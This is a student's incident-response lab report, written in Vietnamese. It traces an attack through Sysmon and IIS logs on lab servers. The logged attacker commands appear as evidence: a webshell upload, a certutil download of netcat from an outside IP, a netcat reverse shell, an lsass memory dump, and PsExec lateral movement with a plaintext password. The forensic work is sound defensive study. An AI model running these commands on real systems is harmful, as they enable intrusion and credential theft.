

REPORT LAB 1

Họ và tên: Lương Gia Khánh Thiện

Phân tích luồng tấn công

1. Trace theo luồng sự cố

```
05/09/2024 11:01:33 AM
LogName=Microsoft-Windows-Sysmon/Operational
EventCode=1
EventType=4
ComputerName=srv1.dientap.local
User=NOT_TRANSLATED
Sid=S-1-5-18
SidType=0
SourceName=Microsoft-Windows-Sysmon
Type=Information
RecordNumber=511773
Keywords=None
TaskCategory=Process Create (rule: ProcessCreate)
OpCode=Info
Message=Process Create:
RuleName: -
UtcTime: 2024-05-09 04:01:33.300
ProcessGuid: {8C9F9614-4A9D-663C-D143-000000002000}
ProcessId: 4752
Image: C:\Windows\System32\whoami.exe
FileVersion: 10.0.14393.0 (rs1_release.160715-1616)
Description: whoami - displays logged on user information
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: whoami.exe
CommandLine: whoami
CurrentDirectory: C:\Windows\system32\
User: NT AUTHORITY\SYSTEM
LogonGuid: {8C9F9614-EC14-6639-E703-000000000000}
LogonId: 0x3E7
TerminalSessionId: 0
IntegrityLevel: System
Hashes:
MD5=AA1E17EA3DB5CD9D8BC061CAEC74C6E8, SHA256=8ECFFCCE38D4EE87ABAE6CBE843D94D4F8FB98FAB3C356C7F6B70E60B10F88A, IMPHASH=E24E330FA9663CE7
ParentProcessGuid: {8C9F9614-4A9D-663C-CF43-000000002000}
ParentProcessId: 4108
ParentImage: C:\Windows\System32\cmd.exe
ParentCommandLine: C:\Windows\system32\cmd.exe /Q /c C:\Windows\TEMP\execute.bat
```

Trace với ProcessId: 4108

Event Type	4
File Version	10.0.14393.0 (rs1_release.160715-1616)
Hashes	MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A
Image	C:\Windows\System32\cmd.exe
Integrity Level	System
Keywords	None
Log Name	Microsoft-Windows-Sysmon/Operational
Logon GUID	{8C9F9614-EC14-6639-E703-000000000000}
Logon ID	0x3E7
Message	Process Create: RuleName: - UtcTime: 2024-05-09 04:01:33.264 ProcessGuid: {8C9F9614-4A9D-663C-CE43-000000002000} ProcessId: 692 Image: C:\Windows\System32\cmd.exe FileVersion: 10.0.14393.0 (rs1_release.160715-1616) Description: Windows Command Processor Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: Cmd.Exe CommandLine: C:\Windows\system32\cmd.exe /Q /c echo whoami ^> \\127.0.0.1\ADMIN\$__output 2^>^&1> C:\Windows\TEMP\execute.bat & C:\Windows\system32\cmd.exe /Q /c C:\Windows\TEMP\execute.bat & del C:\Windows\TEMP\execute.bat CurrentDirectory: C:\Windows\system32\ User: NT AUTHORITY\SYSTEM LogonGuid: {8C9F9614-EC14-6639-E703-000000000000} LogonId: 0x3E7 TerminalSessionId: 0 IntegrityLevel: System Hashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A ParentProcessGuid: {8C9F9614-EC13-6639-0A00-000000002000} ParentProcessId: 796 ParentImage: C:\Windows\System32\services.exe ParentCommandLine: C:\Windows\system32\services.exe ParentUser: NT AUTHORITY\SYSTEM
Op Code	Info
Original File Name	Cmd.Exe
Parent Command Line	C:\Windows\system32\services.exe
Parent Image	C:\Windows\System32\services.exe
Parent Process Guid	{8C9F9614-EC13-6639-0A00-000000002000}
Parent Process Id	796

Trace với ProcessId: 692

Event Type	4
File Version	10.0.14393.0 (rs1_release.160715-1616)
Hashes	MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A
Image	C:\Windows\System32\cmd.exe
Integrity Level	System
Keywords	None
Log Name	Microsoft-Windows-Sysmon/Operational
Logon GUID	{8C9F9614-EC14-6639-E703-000000000000}
Logon ID	0x3E7
Message	Process Create: RuleName: - UtcTime: 2024-05-09 04:01:33.264 ProcessGuid: {8C9F9614-4A9D-663C-CE43-000000002000} ProcessId: 692 Image: C:\Windows\System32\cmd.exe FileVersion: 10.0.14393.0 (rs1_release.160715-1616) Description: Windows Command Processor Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: Cmd.Exe CommandLine: C:\Windows\system32\cmd.exe /Q /c echo whoami ^> \\127.0.0.1\ADMIN\$__output 2^>^&1> C:\Windows\TEMP\execute.bat & C:\Windows\system32\cmd.exe /Q /c C:\Windows\TEMP\execute.bat & del C:\Windows\TEMP\execute.bat CurrentDirectory: C:\Windows\system32\ User: NT AUTHORITY\SYSTEM LogonGuid: {8C9F9614-EC14-6639-E703-000000000000} LogonId: 0x3E7 TerminalSessionId: 0 IntegrityLevel: System Hashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A ParentProcessGuid: {8C9F9614-EC13-6639-0A00-000000002000} ParentProcessId: 796 ParentImage: C:\Windows\System32\services.exe ParentCommandLine: C:\Windows\system32\services.exe ParentUser: NT AUTHORITY\SYSTEM
Op Code	Info
Original File Name	Cmd.Exe
Parent Command Line	C:\Windows\system32\services.exe
Parent Image	C:\Windows\System32\services.exe
Parent Process Guid	{8C9F9614-EC13-6639-0A00-000000002000}
Parent Process Id	796
Parent User	NT AUTHORITY\SYSTEM
Process Guid	{8C9F9614-4A9D-663C-CE43-000000002000}
Process Id	692

Trace với ProcessId: 796

Trace với ProcessId 796 thì ta thấy 1 loạt EventCode=13 liên quan đến set Registry Value với TargetObject : “HKLM\System\CurrentControlSet\Services\ChromeUpdate\ImagePath” trong reg Và Details:

```
%%COMSPEC%% /Q /c echo whoami ^> \\127.0.0.1\ADMIN$\\__output 2^>^&1>
> %%TEMP%%\execute.bat & %%COMSPEC%% /Q /c %%TEMP%%\execute.bat &
del %%TEMP%%\execute.bat
```

Message	Registry value set: RuleName: T1031.T1050 Event Type: SetValue UtcTime: 2024-05-09 03:50:38.225 ProcessGuid: {8C9F9614-EC13-6639-0A00-000000002000} ProcessId: 796 Image: C:\Windows\system32\services.exe TargetObject: HKLM\System\CurrentControlSet\Services\ChromeUpdate\ImagePath Details: %%COMSPEC%% /Q /c echo whoami ^> \\127.0.0.1\ADMIN\$__output 2^>^&1> %%TEMP%%\execute.bat & %%COMSPEC%% /Q /c %%TEMP%%\execute.bat & del %%TEMP%%\execute.bat User: NT AUTHORITY\SYSTEM
---------	---

>	5/9/24 10:50:38.000 AM	SRV1	WinEventLog:Microsoft-Windows-Sysmon/Operational	C:\Windows\system32\cmd.exe /Q /c echo whoami ^> \\127.0.0.1\ADMIN\$_output 2">%1> C:\Windows\TEMP\execute.bat & C:\Windows\system32\cmd.exe /Q /c C:\Windows\TEMP\execute.bat & del C:\Windows\TEMP\execute.bat	1					
>	5/9/24 10:50:38.000 AM	SRV1	WinEventLog:Microsoft-Windows-Sysmon/Operational		13	HKLM\System\CurrentControlSet\Services\ChromeUpdate\ImagePath	%%COMSPEC%% /Q /c echo whoami ^> \\127.0.0.1\ADMIN\$_output 2">%1> %%TEMP%%\execute.bat & %%COMSPEC%% /Q /c %%TEMP%%\execute.bat & del %%TEMP%%\execute.bat			
>	5/9/24 10:50:38.000 AM	SRV1	WinEventLog:Microsoft-Windows-Sysmon/Operational		13	HKLM\System\CurrentControlSet\Services\ChromeUpdate\Start	DWORD (0x00000003)			
>	5/9/24 10:34:57.000 AM	SRV1	WinEventLog:Microsoft-Windows-Sysmon/Operational		13	HKLM\System\CurrentControlSet\Services\ChromeUpdate\Start	DWORD (0x00000004)			
>	5/9/24 10:34:57.000 AM	SRV1	WinEventLog:Microsoft-Windows-Sysmon/Operational	C:\Windows\system32\cmd.exe /Q /c echo p64.exe -accepteula -ma lsass.exe ad ^> \\127.0.0.1\ADMIN\$_output 2">%1> C:\Windows\TEMP\execute.bat & C:\Windows\system32\cmd.exe /Q /c C:\Windows\TEMP\execute.bat & del C:\Windows\TEMP\execute.bat	1					
>	5/9/24 10:34:57.000 AM	SRV1	WinEventLog:Microsoft-Windows-Sysmon/Operational		13	HKLM\System\CurrentControlSet\Services\ChromeUpdate\ImagePath	%%COMSPEC%% /Q /c echo p64.exe -accepteula -ma lsass.exe ad ^> \\127.0.0.1\ADMIN\$_output 2">%1> %%TEMP%%\execute.bat & %%COMSPEC%% /Q /c %%TEMP%%\execute.bat & del %%TEMP%%\execute.bat			

⇒ Ta có thể dự đoán Attacker đã RCE với máy chủ AD

2. Tìm kiếm những tiến trình liên quan để xác định luồng tấn công

Tìm kiếm log access trên SRV2 thấy thời điểm này ip 192.168.11.42 có dấu hiệu fuzzing web bằng phương pháp upload file

<div> Show Fields Table Format 20 Per Page </div> <div> Prev 1 2 3 4 5 6 7 8 Next </div>										
i	_time	host	source	sourcetype	method	request	response_code	timestamp	sourceip	index
>	5/8/24 8:48:25.000 AM	SRV2	C:\inetpub\logs\LogFiles\W3SVC1\..._ex240508.log	iis_access_log	GET	/Upload/Handle.aspx	404	0	192.168.11.42	web_access_svr2
>	5/8/24 4:51:32.000 AM	SRV2	C:\inetpub\logs\LogFiles\W3SVC1\..._ex240508.log	iis_access_log	GET	/upload/secexgateeval.txt	404	0	192.168.11.42	web_access_svr2
>	5/8/24 4:51:32.000 AM	SRV2	C:\inetpub\logs\LogFiles\W3SVC1\..._ex240508.log	iis_access_log	GET	/upload/s_main.txt	404	0	192.168.11.42	web_access_svr2
>	5/8/24 4:51:32.000 AM	SRV2	C:\inetpub\logs\LogFiles\W3SVC1\..._ex240508.log	iis_access_log	GET	/upload/s_main.zip	404	0	192.168.11.42	web_access_svr2
>	5/8/24 4:51:32.000 AM	SRV2	C:\inetpub\logs\LogFiles\W3SVC1\..._ex240508.log	iis_access_log	GET	/upload/secexgateeval.zip	404	0	192.168.11.42	web_access_svr2
>	5/8/24 4:51:32.000 AM	SRV2	C:\inetpub\logs\LogFiles\W3SVC1\..._ex240508.log	iis_access_log	GET	/upload/how_secexmail_gate_works.txt	404	0	192.168.11.42	web_access_svr2
>	5/8/24 4:51:32.000 AM	SRV2	C:\inetpub\logs\LogFiles\W3SVC1\..._ex240508.log	iis_access_log	GET	/upload/s_main	404	0	192.168.11.42	web_access_svr2
>	5/8/24 4:51:32.000 AM	SRV2	C:\inetpub\logs\LogFiles\W3SVC1\..._ex240508.log	iis_access_log	GET	/upload/secexgateeval	404	0	192.168.11.42	web_access_svr2
>	5/8/24	SRV2	C:\inetpub\logs\LogFiles\W3SVC1\..._ex240508.log	iis_access_log	GET	/upload/how_secexmail_gate_works.zip	404	0	192.168.11.42	web_access_svr2

Tìm kiếm "index="svr2" sourcetype="WinEventLog:Microsoft-Windows-Sysmon/Operational" "eventcode=1" whoami" whoami ta thấy tiến trình whoami được sinh ra từ cmd.exe, cmd.exe sinh ra từ w3wp từ event id 1792 và 8812

i	_time	host	source	sourcetype	ParentProcessId	ParentCommandLine	EventCode	ProcessId
>	5/8/24 4:54:38.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	280	cmd	1	7284
>	5/8/24 4:11:36.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	6688	cmd	1	5912
>	5/8/24 4:10:52.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	6688	cmd	1	3924
>	5/8/24 3:58:51.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	8812	"c:\windows\system32\cmd.exe" /c whoami /priv	1	5940
>	5/8/24 3:58:51.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	1792	c:\windows\system32\inetsrv\w3wp.exe -ap "DefaultAppPool" -v "v4.0" -l "webengine4.dll" -a "\\pipe\lsipm9e56e524-77a9-441e-a25f-0333d421b533" -h "C:\inetpub\temp\appools\DefaultAppPool\DefaultAppPool.config" -w "" -m 0 -t 20 -ta 0	1	8812
>	5/8/24 3:57:59.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	6120	"c:\windows\system32\cmd.exe" /c whoami	1	6436
>	5/8/24 3:57:59.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	1792	c:\windows\system32\inetsrv\w3wp.exe -ap "DefaultAppPool" -v "v4.0" -l "webengine4.dll" -a "\\pipe\lsipm9e56e524-77a9-441e-a25f-0333d421b533" -h "C:\inetpub\temp\appools\DefaultAppPool\DefaultAppPool.config" -w "" -m 0 -t 20 -ta 0	1	6120

Trace với Processid : 1792 ta thấy attacker đã upload websell lúc 05/08/2024 03:57:17 PM

Image: c:\windows\system32\inetsrv\w3wp.exe

TargetFilename: C:\inetpub\wwwroot\ Upload \Handle.aspx

New Search

Save As Create Table View Close

Index** host="SRV2" processid: 1792 Image="c:\windows\system32\inetsrv\w3wp.exe"

All time

Q

5 events (before 5/22/24 11:04:00 PM) No Event Sampling

Job

Smart Mode

Events (5) Patterns Statistics Visualization

Format Timeline Zoom Out Zoom to Selection Deselect

1 minute per column

Table Format 20 Per Page

< Hide Fields

All Fields

SELECTED FIELDS

a host 1

a Image 2

a Index 1

ParentProcessId 1

ProcessId 1

a source type 1

a TargetFilename 3

INTERESTING FIELDS

a CommandLine 1

a Company 1

a ComputerName 1

a CreationUtcTime 3

a CurrentDirectory 1

a Description 1

EventCode 2

i	_time	host	source	sourcetype	ProcessId	Index	ParentProcessId	TargetFilename	Image
>	5/8/24 4:45:08.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	1792	svr2		C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\e22c2559\92c7e946\ep4kwdsp.cmdline	c:\windows\system32\inetsrv\w3wp.exe
>	5/8/24 3:57:34.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	1792	svr2		C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\e22c2559\92c7e946\aj2t3ur.cmdline	c:\windows\system32\inetsrv\w3wp.exe
>	5/8/24 3:57:17.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	1792	svr2		C:\inetpub\wwwroot\Upload\Handle.aspx	c:\windows\system32\inetsrv\w3wp.exe
>	5/8/24 3:48:27.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	1792	svr2			C:\Windows\System32\cmd.exe
>	5/8/24 3:48:25.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	1792	svr2	2228		C:\Windows\System32\cmd.exe

Sau khi upload webshell, attacker đã RCE để thực thi các câu lệnh thu thập thông tin hệ thống như whoami, ipconfig, sc query windefend, net user, ping 8.8.8.8

ProcessName	ProcessId	Index	ParentProcessId	Image	CommandLine	ParentCommandLine
Log:Microsoft-Operational	8456	svr2	1792	C:\Windows\System32\cmd.exe	"c:\windows\system32\cmd.exe" /c net user admbx > C:\Windows\Temp\user.txt	c:\windows\system32\inetrv\w3wp.exe -ap "DefaultAppPool" -v "v4.0" -l "webengine4.dll" -a \\.\pipe\iispm9e56e524-77a9-441e-a25f-0333d42b533 -h "C:\inetpub\temp\appools\DefaultAppPool\DefaultAppPool.config" -w "" -m 0 -t 20 -ta 0
Log:Microsoft-Operational	5204	svr2	1792	C:\Windows\System32\cmd.exe	"c:\windows\system32\cmd.exe" /c ping 8.8.8.8	c:\windows\system32\inetrv\w3wp.exe -ap "DefaultAppPool" -v "v4.0" -l "webengine4.dll" -a \\.\pipe\iispm9e56e524-77a9-441e-a25f-0333d42b533 -h "C:\inetpub\temp\appools\DefaultAppPool\DefaultAppPool.config" -w "" -m 0 -t 20 -ta 0
Log:Microsoft-Operational	8516	svr2	1792	C:\Windows\System32\cmd.exe	"c:\windows\system32\cmd.exe" /c net user adm2	c:\windows\system32\inetrv\w3wp.exe -ap "DefaultAppPool" -v "v4.0" -l "webengine4.dll" -a \\.\pipe\iispm9e56e524-77a9-441e-a25f-0333d42b533 -h "C:\inetpub\temp\appools\DefaultAppPool\DefaultAppPool.config" -w "" -m 0 -t 20 -ta 0
Log:Microsoft-Operational	8360	svr2	1792	C:\Windows\System32\cmd.exe	"c:\windows\system32\cmd.exe" /c net user admbx	c:\windows\system32\inetrv\w3wp.exe -ap "DefaultAppPool" -v "v4.0" -l "webengine4.dll" -a \\.\pipe\iispm9e56e524-77a9-441e-a25f-0333d42b533 -h "C:\inetpub\temp\appools\DefaultAppPool\DefaultAppPool.config" -w "" -m 0 -t 20 -ta 0
Log:Microsoft-Operational	6948	svr2	1792	C:\Windows\System32\cmd.exe	"c:\windows\system32\cmd.exe" /c net user administrator	c:\windows\system32\inetrv\w3wp.exe -ap "DefaultAppPool" -v "v4.0" -l "webengine4.dll" -a \\.\pipe\iispm9e56e524-77a9-441e-a25f-0333d42b533 -h "C:\inetpub\temp\appools\DefaultAppPool\DefaultAppPool.config" -w "" -m 0 -t 20 -ta 0
Log:Microsoft-Operational	9148	svr2	1792	C:\Windows\System32\cmd.exe	"c:\windows\system32\cmd.exe" /c net users	c:\windows\system32\inetrv\w3wp.exe -ap "DefaultAppPool" -v "v4.0" -l "webengine4.dll" -a \\.\pipe\iispm9e56e524-77a9-441e-a25f-0333d42b533 -h "C:\inetpub\temp\appools\DefaultAppPool\DefaultAppPool.config" -w "" -m 0 -t 20 -ta 0
Log:Microsoft-Operational	8284	svr2	1792	C:\Windows\System32\cmd.exe	"c:\windows\system32\cmd.exe" /c C:\Windows\Temp\iexplore.exe < "C:\Windows\Temp\GoogleUpdate.exe 192.168.11.42 1331 -e cmd"	c:\windows\system32\inetrv\w3wp.exe -ap "DefaultAppPool" -v "v4.0" -l "webengine4.dll" -a \\.\pipe\iispm9e56e524-77a9-441e-a25f-0333d42b533 -h "C:\inetpub\temp\appools\DefaultAppPool\DefaultAppPool.config" -w "" -m 0 -t 20 -ta 0
Log:Microsoft-Operational	7012	svr2	1792	C:\Windows\System32\cmd.exe	"c:\windows\system32\cmd.exe" /c C:\Windows\Temp\iexplore.exe < "C:\Windows\Temp\GoogleUpdate.exe 192.168.11.42 1331 -e cmd"	c:\windows\system32\inetrv\w3wp.exe -ap "DefaultAppPool" -v "v4.0" -l "webengine4.dll" -a \\.\pipe\iispm9e56e524-77a9-441e-a25f-0333d42b533 -h "C:\inetpub\temp\appools\DefaultAppPool\DefaultAppPool.config" -w "" -m 0 -t 20 -ta 0
Log:Microsoft-Operational	8704	svr2	1792	C:\Windows\System32\cmd.exe	"c:\windows\system32\cmd.exe" /c C:\Windows\Temp\iexplore.exe < "C:\Windows\Temp\GoogleUpdate.exe 192.168.11.42 1331 -e cmd"	c:\windows\system32\inetrv\w3wp.exe -ap "DefaultAppPool" -v "v4.0" -l "webengine4.dll" -a \\.\pipe\iispm9e56e524-77a9-441e-a25f-0333d42b533 -h "C:\inetpub\temp\appools\DefaultAppPool\DefaultAppPool.config" -w "" -m 0 -t 20 -ta 0
Log:Microsoft-Operational	3432	svr2	1792	C:\Windows\System32\cmd.exe	"c:\windows\system32\cmd.exe" /c C:\Windows\Temp\iexplore.exe < "C:\Windows\Temp\GoogleUpdate.exe 192.168.11.42 1331 -e cmd"	c:\windows\system32\inetrv\w3wp.exe -ap "DefaultAppPool" -v "v4.0" -l "webengine4.dll" -a \\.\pipe\iispm9e56e524-77a9-441e-a25f-0333d42b533 -h "C:\inetpub\temp\appools\DefaultAppPool\DefaultAppPool.config" -w "" -m 0 -t 20 -ta 0
Log:Microsoft-Operational	7696	svr2	1792	C:\Windows\System32\cmd.exe	"c:\windows\system32\cmd.exe" /c C:\Windows\Temp\iexplore.exe < "C:\Windows\Temp\GoogleUpdate.exe 192.168.11.42 1331 -e cmd"	c:\windows\system32\inetrv\w3wp.exe -ap "DefaultAppPool" -v "v4.0" -l "webengine4.dll" -a \\.\pipe\iispm9e56e524-77a9-441e-a25f-0333d42b533 -h "C:\inetpub\temp\appools\DefaultAppPool\DefaultAppPool.config" -w "" -m 0 -t 20 -ta 0
Log:Microsoft-Operational	5624	svr2	1792	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\c22c2559\92c7e946\ep4kwdsp.cmdline"	c:\windows\system32\inetrv\w3wp.exe -ap "DefaultAppPool" -v "v4.0" -l "webengine4.dll" -a \\.\pipe\iispm9e56e524-77a9-441e-a25f-0333d42b533 -h "C:\inetpub\temp\appools\DefaultAppPool\DefaultAppPool.config" -w "" -m 0 -t 20 -ta 0

Ngoài ra còn drop các file độc hại GoogleUpdate.exe, iexplore.exe, enum.bat, certutil.exe, nc64.exe

Ta sẽ kiểm tra lần lượt từng process một và có thể liệt kê ra các process khả nghi
Check với processid = 9180

Command:"c:\windows\system32\cmd.exe" /c certutil.exe -urlcache -f <http://192.168.11.42:8000/nc64.exe> C:\Windows\Temp\GoogleUpdate.exe

⇒ Có thể thấy attacker đang cố gắng tải tệp netcat và lưu tại C:\Windows\Temp\GoogleUpdate.exe

Type	Field	Value
Selected	ParentProcessId	1792
	ProcessId	9180
	host	SRV2
	source	WinEventLog:Microsoft-Windows-Sysmon/Operational
	sourcetype	WinEventLog:Microsoft-Windows-Sysmon/Operational
Event	CommandLine	"c:\windows\system32\cmd.exe" /c certutil.exe -urlcache -f http://192.168.11.42:8000/nc64.exe C:\Windows\Temp\GoogleUpdate.exe
Selected	ParentProcessId	9180
	ProcessId	9008
	host	SRV2
	source	WinEventLog:Microsoft-Windows-Sysmon/Operational
	sourcetype	WinEventLog:Microsoft-Windows-Sysmon/Operational
Event	CommandLine	certutil.exe -urlcache -f http://192.168.11.42:8000/nc64.exe C:\Windows\Temp\GoogleUpdate.exe

Check process id 9008

Type	<input checked="" type="checkbox"/>	Field	Value	Actions
Selected	<input checked="" type="checkbox"/>	ParentProcessId ▾	9008	▼
	<input checked="" type="checkbox"/>	ProcessId ▾	280	▼
	<input checked="" type="checkbox"/>	host ▾	SRV2	▼
	<input checked="" type="checkbox"/>	source ▾	WinEventLog:Microsoft-Windows-Sysmon/Operational	▼
	<input checked="" type="checkbox"/>	sourcetype ▾	WinEventLog:Microsoft-Windows-Sysmon/Operational	▼
Event	<input type="checkbox"/>	CommandLine ▾	cmd	▼
	<input type="checkbox"/>	Company ▾	Microsoft Corporation	▼

Check processid 280

Type	<input checked="" type="checkbox"/>	Field	Value
Selected	<input checked="" type="checkbox"/>	ParentProcessId ▾	9008
	<input checked="" type="checkbox"/>	ProcessId ▾	280
	<input checked="" type="checkbox"/>	host ▾	SRV2
	<input checked="" type="checkbox"/>	source ▾	WinEventLog:Microsoft-Windows-Sysmon/Operational
	<input checked="" type="checkbox"/>	sourcetype ▾	WinEventLog:Microsoft-Windows-Sysmon/Operational
Event	<input type="checkbox"/>	CommandLine ▾	cmd

i	_time	host ⇅	source ⇅	sourcetype ⇅	ProcessId ⇅	ParentProcessId ⇅
>	5/8/24 5:00:43.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	8160	280
>	5/8/24 5:00:17.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	984	280
>	5/8/24 4:54:41.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	7572	280
>	5/8/24 4:54:38.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	7284	280
>	5/8/24 4:54:08.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	8340	280
>	5/8/24 4:53:46.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	280	9008

Sinh ra các process con check processid 8160

Type	<input checked="" type="checkbox"/>	Field	Value	Actions
Selected	<input checked="" type="checkbox"/>	ParentProcessId ▾	280	▼
	<input checked="" type="checkbox"/>	ProcessId ▾	8160	▼
	<input checked="" type="checkbox"/>	host ▾	SRV2	▼
	<input checked="" type="checkbox"/>	source ▾	WinEventLog:Microsoft-Windows-Sysmon/Operational	▼
	<input checked="" type="checkbox"/>	sourcetype ▾	WinEventLog:Microsoft-Windows-Sysmon/Operational	▼
Event	<input type="checkbox"/>	CommandLine ▾	C:\Windows\Temp\GoogleUpdate.exe -nvlp 1333	▼

3e59379f585ebf0becb6b4e06d0fbbf806de28a4bb256e837b4555f1b4245571

We have changed our Privacy Notice and Terms of Use, effective July 18, 2024. You can view the updated [Privacy Notice](#) and [Terms of Use](#). [Accept terms of use](#)

29 / 73

29/73 security vendors and 1 sandbox flagged this file as malicious

Reanalyze Similar More

3e59379f585ebf0becb6b4e06d0fbbf806de28a4bb256e837b4555f1b4245571

nc64.exe

Size 44.21 KB

Last Modification Date 9 hours ago

EXE

peexe long-sleeps signed overlay 64bits detect-debug-environment invalid-signature assembly via-tor revoked-cert idle

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY 24 +

[Join our Community](#) and enjoy additional community insights and crowdsourced detections, plus an API key to [automate checks](#).

Popular threat label [hacktool.netcat](#) Threat categories [hacktool](#) [pua](#) [trojan](#) Family labels [netcat](#)

Security vendors' analysis Do you want to automate checks?

⇒ Check hash thấy googleupdate là nc64.exe
Check process 984

Type	Field	Value
Selected	<input checked="" type="checkbox"/> host	SRV2
	<input checked="" type="checkbox"/> source	WinEventLog:Microsoft-Windows-Sysmon/Operational
	<input checked="" type="checkbox"/> sourcetype	WinEventLog:Microsoft-Windows-Sysmon/Operational
Event	<input type="checkbox"/> CommandLine	C:\Windows\Temp\iexplore.exe -nvlp 1333

check processid 8340

Type	Field	Value
Selected	<input checked="" type="checkbox"/> ParentProcessId	280
	<input checked="" type="checkbox"/> ProcessId	8340
	<input checked="" type="checkbox"/> host	SRV2
	<input checked="" type="checkbox"/> source	WinEventLog:Microsoft-Windows-Sysmon/Operational
	<input checked="" type="checkbox"/> sourcetype	WinEventLog:Microsoft-Windows-Sysmon/Operational
Event	<input type="checkbox"/> CommandLine	C:\Windows\Temp\p.exe \10.11.131.33 -u admbx -p PasswOrd@123 cmd.exe

edfae1a69522f87b12c6dac3225d930e4848832e3c551ee1e7d31736bf4525ef

3 / 74

File distributed by Microsoft

Reanalyze Similar More

edfae1a69522f87b12c6dac3225d930e4848832e3c551ee1e7d31736bf4525ef

psexec.c

Size 813.94 KB

Last Modification Date 2 hours ago

EXE

peexe overlay detect-debug-environment runtime-modules known-distributor 64bits signed assembly direct-cpu-clock-access

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY 6

[Join our Community](#) and enjoy additional community insights and crowdsourced detections, plus an API key to [automate checks](#).

Popular threat label [hacktool.psexec](#) Threat categories [hacktool](#) Family labels [psexec](#)

Security vendors' analysis Do you want to automate checks?

Antiy-AVL [HackTool/Win64.PsExec](#) Sangfor Engine Zero [HackTool.Win64.PsExec.uwccg](#)

⇒ Check hash thấy googleupdate là psexec.c có vẻ attacker đang cố truy cập vào server
SRV4 back up
check processid 8428

i	_time	host	source	sourcetype	ParentProcessId	ProcessId
>	5/8/24 4:53:49.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational		9008
>	5/8/24 4:53:46.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	9008	280
>	5/8/24 4:53:46.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	8428	9008
>	5/8/24 4:07:33.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational		9008
>	5/8/24 4:07:33.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational		9008
>	5/8/24 4:07:31.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational		9008
>	5/8/24 4:07:31.000 PM	SRV2	WinEventLog:Microsoft-Windows-Sysmon/Operational	WinEventLog:Microsoft-Windows-Sysmon/Operational	9180	9008

Type	Field	Value
Selected	ParentProcessId	8428
	ProcessId	9008
	host	SRV2
	source	WinEventLog:Microsoft-Windows-Sysmon/Operational
	sourcetype	WinEventLog:Microsoft-Windows-Sysmon/Operational
Event	CommandLine	C:\Windows\Temp\GoogleUpdate.exe 192.168.11.42 1331 -e cmd

Check processid 3460

Type	Field	Value
